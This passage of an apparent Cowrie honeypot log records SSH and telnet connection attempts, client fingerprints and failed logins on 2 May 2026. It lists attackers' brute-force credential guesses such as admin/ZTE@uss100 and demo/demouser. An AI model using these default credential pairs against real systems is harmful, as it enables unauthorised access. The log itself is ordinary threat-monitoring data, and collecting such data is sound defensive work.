af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:29:04.920655Z","src_ip":"209.99.189.177","session":"062d6e2d4d55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"temp","password":"test","message":"login attempt [temp/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:29:05.467432Z","src_ip":"209.99.189.177","session":"062d6e2d4d55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:29:06.599446Z","src_ip":"209.99.189.177","session":"062d6e2d4d55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.252.154.12","src_port":54344,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5cfc9fa66c2","protocol":"telnet","message":"New connection: 5.252.154.12:54344 (10.17.0.5:23) [session: f5cfc9fa66c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:29:08.748766Z"}
{"eventid":"cowrie.session.closed","duration":31.04923367500305,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:29:18.762299Z","src_ip":"5.252.154.12","session":"69ae4f501941","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":56478,"dst_ip":"159.203.135.109","dst_port":23,"session":"62237ab6c011","protocol":"telnet","message":"New connection: 174.138.46.234:56478 (159.203.135.109:23) [session: 62237ab6c011]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:29:21.002834Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.252.154.12","src_port":50686,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb541ac391a5","protocol":"telnet","message":"New connection: 5.252.154.12:50686 (10.17.0.5:23) [session: bb541ac391a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:29:22.076466Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":56872,"dst_ip":"159.203.135.109","dst_port":23,"session":"d427e1a37910","protocol":"telnet","message":"New connection: 174.138.46.234:56872 (159.203.135.109:23) [session: d427e1a37910]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:29:22.311373Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.252.154.12","src_port":50698,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf8ecdd43be2","protocol":"telnet","message":"New connection: 5.252.154.12:50698 (10.17.0.5:23) [session: bf8ecdd43be2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:29:27.763818Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.252.154.12","src_port":50700,"dst_ip":"10.17.0.5","dst_port":23,"session":"d33ffa2269df","protocol":"telnet","message":"New connection: 5.252.154.12:50700 (10.17.0.5:23) [session: d33ffa2269df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:29:28.496005Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":49349,"dst_ip":"10.17.0.5","dst_port":22,"session":"1398cf0706ad","protocol":"ssh","message":"New connection: 103.248.120.6:49349 (10.17.0.5:22) [session: 1398cf0706ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:29:30.005434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:29:30.014739Z","src_ip":"103.248.120.6","session":"1398cf0706ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.858896493911743,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:29:30.170142Z","src_ip":"174.138.46.234","session":"d427e1a37910","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:29:30.237776Z","src_ip":"103.248.120.6","session":"1398cf0706ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qaz1234","message":"login attempt [admin/qaz1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:29:31.161140Z","src_ip":"103.248.120.6","session":"1398cf0706ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:29:32.387615Z","src_ip":"103.248.120.6","session":"1398cf0706ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":36592,"dst_ip":"10.17.0.5","dst_port":23,"session":"929cd7fb06b7","protocol":"telnet","message":"New connection: 20.123.41.163:36592 (10.17.0.5:23) [session: 929cd7fb06b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:29:32.874951Z"}
{"eventid":"cowrie.session.closed","duration":30.747360706329346,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:29:39.496006Z","src_ip":"5.252.154.12","session":"f5cfc9fa66c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.252.154.12","src_port":60550,"dst_ip":"10.17.0.5","dst_port":23,"session":"78c99bd014ed","protocol":"telnet","message":"New connection: 5.252.154.12:60550 (10.17.0.5:23) [session: 78c99bd014ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:29:48.259137Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.4.244.179","src_port":17790,"dst_ip":"10.17.0.5","dst_port":22,"session":"381d8adc4fc0","protocol":"ssh","message":"New connection: 155.4.244.179:17790 (10.17.0.5:22) [session: 381d8adc4fc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:29:52.879184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:29:52.926622Z","src_ip":"155.4.244.179","session":"381d8adc4fc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:29:53.027928Z","src_ip":"155.4.244.179","session":"381d8adc4fc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.446911096572876,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:29:53.523253Z","src_ip":"5.252.154.12","session":"bb541ac391a5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ZTE@uss100","message":"login attempt [admin/ZTE@uss100] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:29:53.904459Z","src_ip":"155.4.244.179","session":"381d8adc4fc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:29:55.013481Z","src_ip":"155.4.244.179","session":"381d8adc4fc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.814327001571655,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:29:58.577946Z","src_ip":"5.252.154.12","session":"bf8ecdd43be2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00125813484192,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:29:59.632595Z","src_ip":"179.182.234.94","session":"48baa1bb11aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16946816444397,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:29:59.665315Z","src_ip":"5.252.154.12","session":"d33ffa2269df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.252.154.12","src_port":41914,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ef940161ffd","protocol":"telnet","message":"New connection: 5.252.154.12:41914 (10.17.0.5:23) [session: 4ef940161ffd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:30:08.102935Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.48.213.208","src_port":49801,"dst_ip":"10.17.0.5","dst_port":22,"session":"109eb811be86","protocol":"ssh","message":"New connection: 185.48.213.208:49801 (10.17.0.5:22) [session: 109eb811be86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:30:10.150113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:30:10.155397Z","src_ip":"185.48.213.208","session":"109eb811be86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:30:10.278472Z","src_ip":"185.48.213.208","session":"109eb811be86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demouser","message":"login attempt [demo/demouser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:30:10.793857Z","src_ip":"185.48.213.208","session":"109eb811be86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:30:11.921442Z","src_ip":"185.48.213.208","session":"109eb811be86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.482173442840576,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:30:16.484884Z","src_ip":"174.138.46.234","session":"62237ab6c011","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":51012,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d120ee3db55","protocol":"telnet","message":"New connection: 20.123.41.163:51012 (10.17.0.5:23) [session: 9d120ee3db55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:30:17.632445Z"}
{"eventid":"cowrie.session.closed","duration":31.634268760681152,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:30:19.893267Z","src_ip":"5.252.154.12","session":"78c99bd014ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.67931270599365,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:30:21.554139Z","src_ip":"20.123.41.163","session":"929cd7fb06b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.252.154.12","src_port":45170,"dst_ip":"10.17.0.5","dst_port":23,"session":"04400d49931c","protocol":"telnet","message":"New connection: 5.252.154.12:45170 (10.17.0.5:23) [session: 04400d49931c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:30:21.894242Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.252.154.12","src_port":35398,"dst_ip":"10.17.0.5","dst_port":23,"session":"c98c8f568f7c","protocol":"telnet","message":"New connection: 5.252.154.12:35398 (10.17.0.5:23) [session: c98c8f568f7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:30:22.590241Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":48982,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e1ccd8bbbc5","protocol":"telnet","message":"New connection: 174.138.46.234:48982 (159.203.135.109:23) [session: 2e1ccd8bbbc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:30:29.536124Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":49182,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfc9a0012909","protocol":"telnet","message":"New connection: 174.138.46.234:49182 (159.203.135.109:23) [session: bfc9a0012909]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:30:30.053602Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":49292,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4682b4f4e0d","protocol":"telnet","message":"New connection: 174.138.46.234:49292 (159.203.135.109:23) [session: d4682b4f4e0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:30:30.401429Z"}
{"eventid":"cowrie.session.closed","duration":5.9240641593933105,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:30:35.977545Z","src_ip":"174.138.46.234","session":"bfc9a0012909","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.949651718139648,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:30:36.350940Z","src_ip":"174.138.46.234","session":"d4682b4f4e0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.106967210769653,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:30:39.209763Z","src_ip":"5.252.154.12","session":"4ef940161ffd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.252.154.12","src_port":33392,"dst_ip":"10.17.0.5","dst_port":23,"session":"97fb2b5f282d","protocol":"telnet","message":"New connection: 5.252.154.12:33392 (10.17.0.5:23) [session: 97fb2b5f282d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:30:44.320032Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.252.154.12","src_port":33398,"dst_ip":"10.17.0.5","dst_port":23,"session":"3650de0f350c","protocol":"telnet","message":"New connection: 5.252.154.12:33398 (10.17.0.5:23) [session: 3650de0f350c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:30:50.399858Z"}
{"eventid":"cowrie.session.closed","duration":30.199054718017578,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:30:52.093167Z","src_ip":"5.252.154.12","session":"04400d49931c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.495194673538208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:30:53.085348Z","src_ip":"5.252.154.12","session":"c98c8f568f7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.4.244.179","src_port":37377,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2dcd4fefa8a","protocol":"ssh","message":"New connection: 155.4.244.179:37377 (10.17.0.5:22) [session: c2dcd4fefa8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:30:53.338022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:30:53.342863Z","src_ip":"155.4.244.179","session":"c2dcd4fefa8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":56520,"dst_ip":"159.203.135.109","dst_port":23,"session":"8eeb4f28b114","protocol":"telnet","message":"New connection: 174.138.46.234:56520 (159.203.135.109:23) [session: 8eeb4f28b114]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:30:53.834579Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:30:53.896530Z","src_ip":"155.4.244.179","session":"c2dcd4fefa8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pdq466z7","message":"login attempt [admin/pdq466z7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:30:54.306361Z","src_ip":"155.4.244.179","session":"c2dcd4fefa8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":56720,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd79932685cb","protocol":"telnet","message":"New connection: 174.138.46.234:56720 (159.203.135.109:23) [session: dd79932685cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:30:54.428653Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":56196,"dst_ip":"159.203.135.109","dst_port":23,"session":"f443cc970c7f","protocol":"telnet","message":"New connection: 174.138.46.234:56196 (159.203.135.109:23) [session: f443cc970c7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:30:55.623346Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:30:55.891063Z","src_ip":"155.4.244.179","session":"c2dcd4fefa8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.81273627281189,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:31:00.435966Z","src_ip":"174.138.46.234","session":"f443cc970c7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.285563945770264,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:31:01.120032Z","src_ip":"174.138.46.234","session":"8eeb4f28b114","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.978634834289551,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:31:02.407218Z","src_ip":"174.138.46.234","session":"dd79932685cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":33080,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7e1dcb6ace1","protocol":"telnet","message":"New connection: 174.138.46.234:33080 (159.203.135.109:23) [session: b7e1dcb6ace1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:31:09.744210Z"}
{"eventid":"cowrie.session.closed","duration":54.02168846130371,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:31:11.653970Z","src_ip":"20.123.41.163","session":"9d120ee3db55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.50499153137207,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:31:14.040960Z","src_ip":"174.138.46.234","session":"2e1ccd8bbbc5","protocol":"telnet"}
